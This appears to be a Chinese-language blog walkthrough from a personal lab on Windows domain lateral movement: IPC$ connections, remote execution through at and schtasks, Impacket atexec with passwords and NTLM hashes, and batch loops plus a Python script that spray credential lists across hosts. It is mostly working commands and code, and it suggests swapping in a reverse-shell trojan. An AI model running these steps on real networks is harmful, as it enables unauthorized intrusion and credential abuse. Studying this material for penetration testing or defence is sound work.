域横向批量at&schtasks&impacket

5ab445365024aae91385f27668b44ca6

d9fe7896b2ddadea60107a06818d619e

横向渗透明文传递

在拿下一台内网主机,通过本地信息搜集收集用户凭据等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可在远程主机上执行命令

  • 获取到某域主机权限-> minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
  • IPC( Internet Process Connection)是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管理计算机和查看计算机的共享资源时使用

利用流程

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at,schtasks)定时执行拷贝到的脚本
  4. 删除IPC链接
1
2
3
4
5
6
7
8
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除文件
net use \\xx.xx.xx.xx\ipc$ \del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享

建立IPC常见的错误代码

  1. 5:拒绝访问,可能是使用的不是管理员权限,需要先提升权限
  2. 51:网络问题,windoows无法找到网络路径
  3. 53:找不到网站路径,可能是IP地址错误,目标未开机,目标Lanmanserver服务未启动、有防火墙等问题
  4. 67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
  5. 1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
  6. 1326:账号密码错误
  7. 1792:目标NetLogon服务未启动,连接域控常常会出现此情况
  8. 2242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因

  1. 目标系统不是NT或以上的操作系统
  2. 对方没有打开IPC$共享
  3. 对方未开启139,445端口,或者被防火墙屏蔽
  4. 输出命令,账号密码有错误

搭建环境。。。崩0.0,由于我的笔记本只有16G只能拿两台xp(占用内存小)来充当sql和file了

at

首先获取到对应的域控ip,这里假设已经得到了域控的密码

Snipaste_2023-08-01_17-18-31

Snipaste_2023-08-01_17-21-02

建立ipc连接

1
net use \\192.168.70.134\ipc$ "123.com" /user:xiaodi.com\administrator

Snipaste_2023-08-01_17-25-46

查看连接

1
net use

Snipaste_2023-08-01_17-28-47

写一个创建用户的批处理文件,在实战中你可以把这个文件换成msf的反弹木马,或者其他的

1
net user xiaodi qwe123!@#X. /add

Snipaste_2023-08-01_17-32-52

Snipaste_2023-08-01_17-34-23

Snipaste_2023-08-01_17-34-14

赋值批处理文件到目标机器的c盘上

1
copy add.bat \\192.168.70.134\c$

如果想要复制到其他目录的话如下:

1
copy add.bat \\192.168.70.134\c$\wamp64

Snipaste_2023-08-01_17-35-59

Snipaste_2023-08-01_17-36-06

那么执行这个文件,使用at命令创建一个计划任务:

1
at \\192.168.70.134 17:41 c:\add.bat

由于我的域控是2012的所以这里不支持at,但是流程还是走一下吧

Snipaste_2023-08-01_17-41-01

schtasks

Snipaste_2023-08-01_17-46-08

这里小迪被拒绝了,拒绝访问的原因:域用户不能对本地Server 2012 SqlServer服务器进行操作

对Server 2012 SqlServer服务器的本地administraotr用户进行ipc连接,这里没有演示的原因就是因为我上面的at连接就是一台2012,没有其他的了,本身就起了四台,两台xp,一台2008当做被拿下的主机,一台2012当做域控,没内存了~

1
2
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administraotr
net use \\192.168.70.134\ipc$ "123.com" /user:administrator

创建 adduser 任务对应执行文件

1
2
3
schtasks /create /s 192.168.70.134 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F		#创建任务
schtasks /run /s 192.168.70.134 /tn adduser #执行任务
schtasks /delete /s 192.168.70.134 /tn adduser /f #删除任务

Snipaste_2023-08-01_18-14-04

我这里首先是正常连接的,然后我就是创建不了这个任务

横向渗透明文HASH传递atexec-impacket

1
下载地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip
  • 优点:一句话命令,连接、提权全部搞定。
  • 缺点:第三方工具,非微软官方工具,易被杀毒软件查杀,实战中需要自己做一下免杀。
  • atexec是Impacket网络协议工具包中的一个工具
1
2
3
atexec.exe ./administrator:123.com@192.168.70.134 "whoami"
atexec.exe xiaodi/administrator:123.com@192.168.70.134 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.70.134 "whoami"

Snipaste_2023-08-01_18-33-52

Snipaste_2023-08-01_18-38-50

那么既然这里可以实现命令,上面那里没有创建成功始终是不舒服,这里也是成功创建

Snipaste_2023-08-01_18-40-02

Snipaste_2023-08-01_18-40-21

1
2
3
上面两个案例总结:
第一种纯手工,流程是:确定目标-->建立连接-->上传恶意文件-->利用计划任务执行恶意文件
第二种:建立连接之后直接配合工具执行恶意文件或者命令

横向渗透明文 HASH 传递批量利用-综合

上面都是建立在拥有密码的情况下,那么在实战中如何从0到1呢?

首先:mimikatz获取密码(还是需要管理员权限,域成员权限运行不了)

Snipaste_2023-08-01_21-14-39

用微软自带命令探寻网段的存活主机(自带内部命令推荐使用)

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.70.%I | findstr "TTL ="

我这里虚拟的ip是从128之后开始分配的所以这里改了一点

Snipaste_2023-08-01_21-17-57

将两个ip地址写入ips.txt(爆破脚本)

批量检测ip对应明文连接(for循环进行变量ip地址的ipc连接)

1
2
FOR /F %i in (ips.txt) do net use \\%i\ipc$ "123.com" /user:xiaodi.com\administrator
#这里用得到的密码进行连接,固定密码--->$ip

Snipaste_2023-08-01_21-28-07

接下来就是批量的用atexec.exe

1
FOR /F %i in (ips.txt) do atexec.exe ./administrator:123.com@%i whoami

Snipaste_2023-08-01_21-31-22

那么接下来就可以滚雪球了,实战情况下,在看192.168.70.134下面有没有密码,然后加入到密码字典中(这个密码字典你也可以自己放一些常用的密码进行爆破),对应关系就是$ip <--> $pass,变量ip对应变量密码,1个ip对应一个循环的密码字典,然后把ip也循环一遍,密码是ip的内循环

批量哈希值去爆破

1
FOR /F %i in (hash.txt) do atexec.exe -hashes :%i ./administrator@192.168.3.21 whoami

横向渗透明文 HASH 传递批量利用-升级版

案例3中都是批处理命令,只能遍历一个变量,那么就收集起来的信息,使用多重循环进行逐个遍历就行了

neiwang.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os,time
ips={
'192.168.70.134',
'192.168.70.139',
'192.168.70.140'
}

users={
'Administrator',
'zhangsan',
'lisi',
'wangwu'
}

passs={
'admin',
'Admin12345',
'123.com'
}

for ip in ips:
for user in users:
for mima in passs:
exec="net use \\"+"\\"+ip+'\ipc$ '+ '"' +mima+ '"' + ' /user:xiaodi.com\\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)


#我这个脚本有点不一样,由于我的密码带了一个.所以执行脚本的时候就算是正确的连接,还是没有接受到

将python文件打包成exe

1
2
3
首先要下载:pip install pyinstaller

然后去python的安装目录下的Python310\Scripts下执行:pyinstaller.exe -F neiwang.py

Snipaste_2023-08-01_21-41-23

Snipaste_2023-08-01_21-42-01

然后在dist目录下面就会有一个同名的exe文件

计算机中丢失api-ms-win-core-|1-1-0.dll

Snipaste_2023-08-01_21-43-55

win2008还缺少环境,我直接在域控中做个演示把

解决方法:

1
https://blog.csdn.net/gwz_6903/article/details/116304750

还是有报错,我放弃了

脚本运行结果:

Snipaste_2023-08-01_22-20-47

提一嘴这里开启防火墙,好像就检测不到了